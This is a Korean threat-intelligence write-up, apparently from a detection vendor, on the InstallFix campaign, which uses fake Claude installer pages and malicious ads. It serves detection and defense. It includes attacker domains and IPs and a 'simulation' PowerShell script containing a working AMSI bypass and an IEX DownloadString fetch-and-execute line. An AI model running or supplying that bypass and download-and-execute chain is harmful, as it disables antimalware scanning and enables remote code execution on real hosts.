InstallFix와 Claude 코드: 가짜 설치 페이지가 실제 손상을 초래하는 방법
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
InstallFix 캠페인은 Claude AI 설치 프로그램 페이지를 모방한 악성 Google 광고를 통해 맬웨어를 확산합니다. 피해자는 mshta.exe 를 호출하는 PowerShell 명령을 실행하도록 유도되며, 이는 다단계 파일리스 감염 체인을 시작하는 다중 규격 ZIP 및 HTA 파일을 검색합니다. 페이로드는 SSL 검증과 AMSI 보호를 비활성화하고, 피해자에 특화된 명령-제어 도메인에서 추가 코드를 다운로드하며, 예약된 작업을 통해 지속성을 만듭니다. 이 작전은 전 세계 여러 산업과 지역의 조직들을 표적으로 삼았습니다.
조사
연구원들은 가짜 설치 프로그램 페이지부터 mshta.exe까지 전체 실행 흐름을 추적하였으며, VBScript와 여러 단계의 인코딩된 PowerShell이 포함되어 있습니다. 복호화 결과 맬웨어가 각 피해자에게 고유 식별자를 생성하고 이를 사용하여 호스트에 특화된 명령-제어 URL을 구성한다는 것을 보여주었습니다. 네트워크 원격 측정 결과 다수의 악성 도메인 및 IP 주소와의 아웃바운드 통신이 발견되었습니다. 최종 페이로드는 완전히 복구되지 않았으나, 관찰된 행동은 데이터 수집과 유출 활동을 암시했습니다.
완화
수비자는 식별된 악성 도메인 및 IP 주소에 대한 접근을 차단하고 mshta.exe 및 기타 레거시 스크립팅 도구의 사용을 가능한 한 제한해야 합니다. 엔드포인트 보안 제어는 AMSI 우회 시도와 SSL 검증 변조 감지를 위해 조정되어야 합니다. 조직은 또한 소프트웨어 설치 페이지로 이어지는 Google 광고 트래픽에 대해 엄격한 URL 필터링을 적용해야 합니다. 특히 지원 검색 결과나 검증되지 않은 소스로부터 복사하여 실행하는 명령어의 위험성을 인식하는 사용자 인식이 중요합니다.
대응
보안 팀은 프로세스 체인에서 mshta.exe 가 cmd.exe, powershell.exe또는 의심스러운 원격 URL이 있는 스크립트 인터프리터를 시작하는 경우 경고해야 합니다. 이러한 사건은 예약된 작업 생성 및 알려진 명령-제어 인프라로의 아웃바운드 연결과 상관되어야 합니다. 활동이 확인되면 방어자는 호스트를 격리하고 악성 프로세스를 종료하며 예약된 작업과 같은 지속성 메커니즘을 제거해야 합니다. 그런 다음 나머지 파일리스 페이로드 구성 요소를 식별하기 위한 포렌식 검토를 수행해야 합니다.
"graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#cccccc classDef process fill:#ffcc99 classDef malware fill:#ff9999 %% Nodes u2013 Actions recon_google_ads["<b>Action</b> – <b>T1593.002 Search Open Websites/Domains: Search Engines</b><br/><b>Description</b>: 상대가 Claude AI를 검색하는 피해자를 유인하기 위해 Google에 악성 스폰서 결과를 배치합니다."] class recon_google_ads action initial_access_phishing["<b>Action</b> – <b>T1566.002 Phishing: Spearphishing Link</b><br/><b>Description</b>: 피해자는 악성 광고를 클릭하고 PowerShell 명령어를 호스팅하는 가짜 Claude 설치 프로그램 페이지로 리디렉션됩니다."] class initial_access_phishing action user_exec_copy_paste["<b>Action</b> – <b>T1204.004 User Execution: Malicious Copy and Paste</b><br/><b>Description</b>: 피해자가 표시된 PowerShell 명령어를 복사하여 콘솔에서 실행합니다."] class user_exec_copy_paste action execution_mshta["<b>Action</b> – <b>T1218.005 System Binary Proxy Execution: Mshta</b><br/><b>Description</b>: PowerShell이 다중 규격 HTA/MSIX 번들 URL과 함께 mshta.exe를 호출합니다."] class execution_mshta action execution_htavbscript["<b>Action</b> – <b>T1027 Obfuscated Files or Information</b><br/><b>Description</b>: mshta를 통해 HTA VBScript가 실행되며, Shell.Application COM 객체를 사용하여 cmd.exe를 실행합니다."] class execution_htavbscript action execution_powershell_stager["<b>Action</b> – <b>T1140 Deobfuscate/Decode Files or Information</b><br/><b>Description</b>: PowerShell 스테이저는 base64-코딩되어 변수로 분할되고 키 "AMSI_RESULT_NOT_DETECTED"로 XOR-디코딩됩니다."] class execution_powershell_stager action defense_evasion_amsi["<b>Action</b> – <b>T1211 Exploitation for Defense Evasion</b><br/><b>Description</b>: 스크립트가 SSL 인증서 검증을 비활성화하고 탐지를 우회하기 위해 AMSI를 패치합니다."] class defense_evasion_amsi action persistence_scheduled_task["<b>Action</b> – <b>T1053 Scheduled Task/Job</b><br/><b>Description</b>: 맬웨어가 시스템 재부팅 후 페이로드를 재실행하기 위한 예약 작업을 만듭니다."] class persistence_scheduled_task action collection_automated["<b>Action</b> – <b>T1119 Automated Collection</b><br/><b>Description</b>: 손상된 호스트에서 eu-wallet 응용 프로그램 데이터 및 브라우저 데이터를 수집합니다."] class collection_automated action exfiltration_automated["<b>Action</b> – <b>T1020 Automated Exfiltration</b> & <b>T1029 Scheduled Transfer</b><br/><b>Description</b>: 수집된 데이터는 https://oakenfjrod.ru 및 IP 104.21.0.95, 185.177.239.255 같은 공격자가 제어하는 도메인으로 전송됩니다."] class exfiltration_automated action %% Nodes u2013 Tools / Processes tool_mshta["<b>Tool</b> – <b>Name</b>: mshta.exe<br/><b>Purpose</b>: HTML 응용 파일을 실행합니다."] class tool_mshta tool tool_cmd["<b>Tool</b> – <b>Name</b>: cmd.exe<br/><b>Purpose</b>: Windows 명령 줄 인터프리터."] class tool_cmd tool tool_powershell["<b>Tool</b> – <b>Name</b>: PowerShell<br/><b>Purpose</b>: 페이로드 전송 및 디코딩에 사용되는 스크립팅 엔진입니다."] class tool_powershell tool tool_amsi_patch["<b>Tool</b> – <b>Name</b>: AMSI 패치<br/><b>Purpose</b>: 검출 억제를 위해 안티맬웨어 스캔 인터페이스를 수정합니다."] class tool_amsi_patch tool tool_schtasks["<b>Tool</b> – <b>Name</b>: schtasks.exe<br/><b>Purpose</b>: 예약 작업을 생성 및 관리합니다."] class tool_schtasks tool %% Connections u2013 Flow recon_google_ads –>|leads_to| initial_access_phishing initial_access_phishing –>|leads_to| user_exec_copy_paste user_exec_copy_paste –>|executes| tool_powershell tool_powershell –>|calls| execution_mshta execution_mshta –>|uses| tool_mshta execution_mshta –>|downloads| execution_htavbscript execution_htavbscript –>|spawns| tool_cmd tool_cmd –>|runs| execution_powershell_stager execution_powershell_stager –>|uses| tool_powershell execution_powershell_stager –>|applies| defense_evasion_amsi defense_evasion_amsi –>|uses| tool_amsi_patch defense_evasion_amsi –>|creates| persistence_scheduled_task persistence_scheduled_task –>|uses| tool_schtasks persistence_scheduled_task –>|enables| collection_automated collection_automated –>|triggers| exfiltration_automated "
공격 흐름
탐지
수상한 Powershell 문자열 (via powershell)
보기
수상한 LOLBAS MSHTA 방어 회피 행위 (via process_creation)
보기
Powershell에서 수상한 .NET 메서드 호출 (via powershell)
보기
수상한 예약 작업 (via audit)
보기
IOCs (HashSha256) 탐지: InstallFix 및 Claude 코드: 가짜 설치 페이지가 실제로 침해로 이어지는 방법
보기
IOCs (HashSha1) 탐지: InstallFix 및 Claude 코드: 가짜 설치 페이지가 실제로 침해로 이어지는 방법
보기
IOCs (SourceIP) 탐지: InstallFix 및 Claude 코드: 가짜 설치 페이지가 실제로 침해로 이어지는 방법
보기
IOCs (DestinationIP) 탐지: InstallFix 및 Claude 코드: 가짜 설치 페이지가 실제로 침해로 이어지는 방법
보기
InstallFix 캠페인 PowerShell 회피 기법 [Windows Powershell]
보기
InstallFix 캠페인 – Mshta.exe가 Cmd.exe 및 PowerShell.exe를 실행 [Windows 프로세스 생성]
보기
시뮬레이션 실행
전제 조건: 원격 측정 및 기준선 사전 비행 검사가 통과해야 합니다.
합리적 이유: 이 섹션은 탐지 규칙을 트리거하기 위해 설계된 상대의 기술적 전술(TTP) 정확한 실행을 상세히 설명합니다. 명령 및 서사시는 식별된 TTP를 직접 반영해야 하며 탐지 로직에 의해 기대되는 정확한 원격 측정을 생성하는 것을 목표로 해야 합니다. 추상적이거나 관련 없는 예제는 잘못된 진단으로 이어질 수 있습니다.
-
공격 서사 및 명령:
공격자는 spear-phishing 링크(T1566.002)를 통해 악성 PowerShell 스크립트를 얻어 손상된 서버에서 페이로드를 다운로드합니다. AMSI 탐지를 피하기 위해, 스크립트는 프로세스 메모리에 문자열AMSI_RESULT_NOT_DETECTED를 주입하고, 이후IEX연산자를 사용하여 다운로드된 코드를 실행합니다. 전체 명령은 Base64로 인코딩되어-EncodedCommand플래그와 함께 실행되며, Sigma 규칙의 세 가지 선택자 문자열을 모두 만족시킵니다.단계별:
- 악성 페이로드 다운로드 (파일을 작성하는 간단한 PowerShell 한 줄)
- AMSI 우회 마커 주입 개인 정적 필드
amsiInitFailed. - 설정으로
IEX. - 를 통해 페이로드 실행
powershell.exe -EncodedCommand … 사용하여 전체 체인 실행.
-
회귀 테스트 스크립트:
# InstallFix 스타일 PowerShell 공격 시뮬레이션 # ------------------------------------------------- # 1. 악성 한 줄 정의 $malicious = @" `$bypass = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils') .GetField('amsiInitFailed','NonPublic,Static') `$bypass.SetValue(`$null,$true) IEX (New-Object Net.WebClient).DownloadString('http://example.com/payload.ps1') "@ # 2. 스크립트를 UTF-16LE로 인코딩한 후 Base64로 인코딩 (PowerShell의 요구사항) $bytes = [System.Text.Encoding]::Unicode.GetBytes($malicious) $encoded = [Convert]::ToBase64String($bytes) # 3. -EncodedCommand 플래그와 함께 powershell.exe를 통해 실행 $command = "powershell.exe -NoProfile -EncodedCommand $encoded" Write-Host "Launching malicious PowerShell..." Invoke-Expression $command -
정리 명령:
# 임시 파일을 삭제하고 잔류 프로세스를 종료합니다. Get-Process -Name powershell -ErrorAction SilentlyContinue | Stop-Process -Force Remove-Item -Path "$env:TEMPpayload.ps1" -ErrorAction SilentlyContinue Write-Host "Cleanup complete."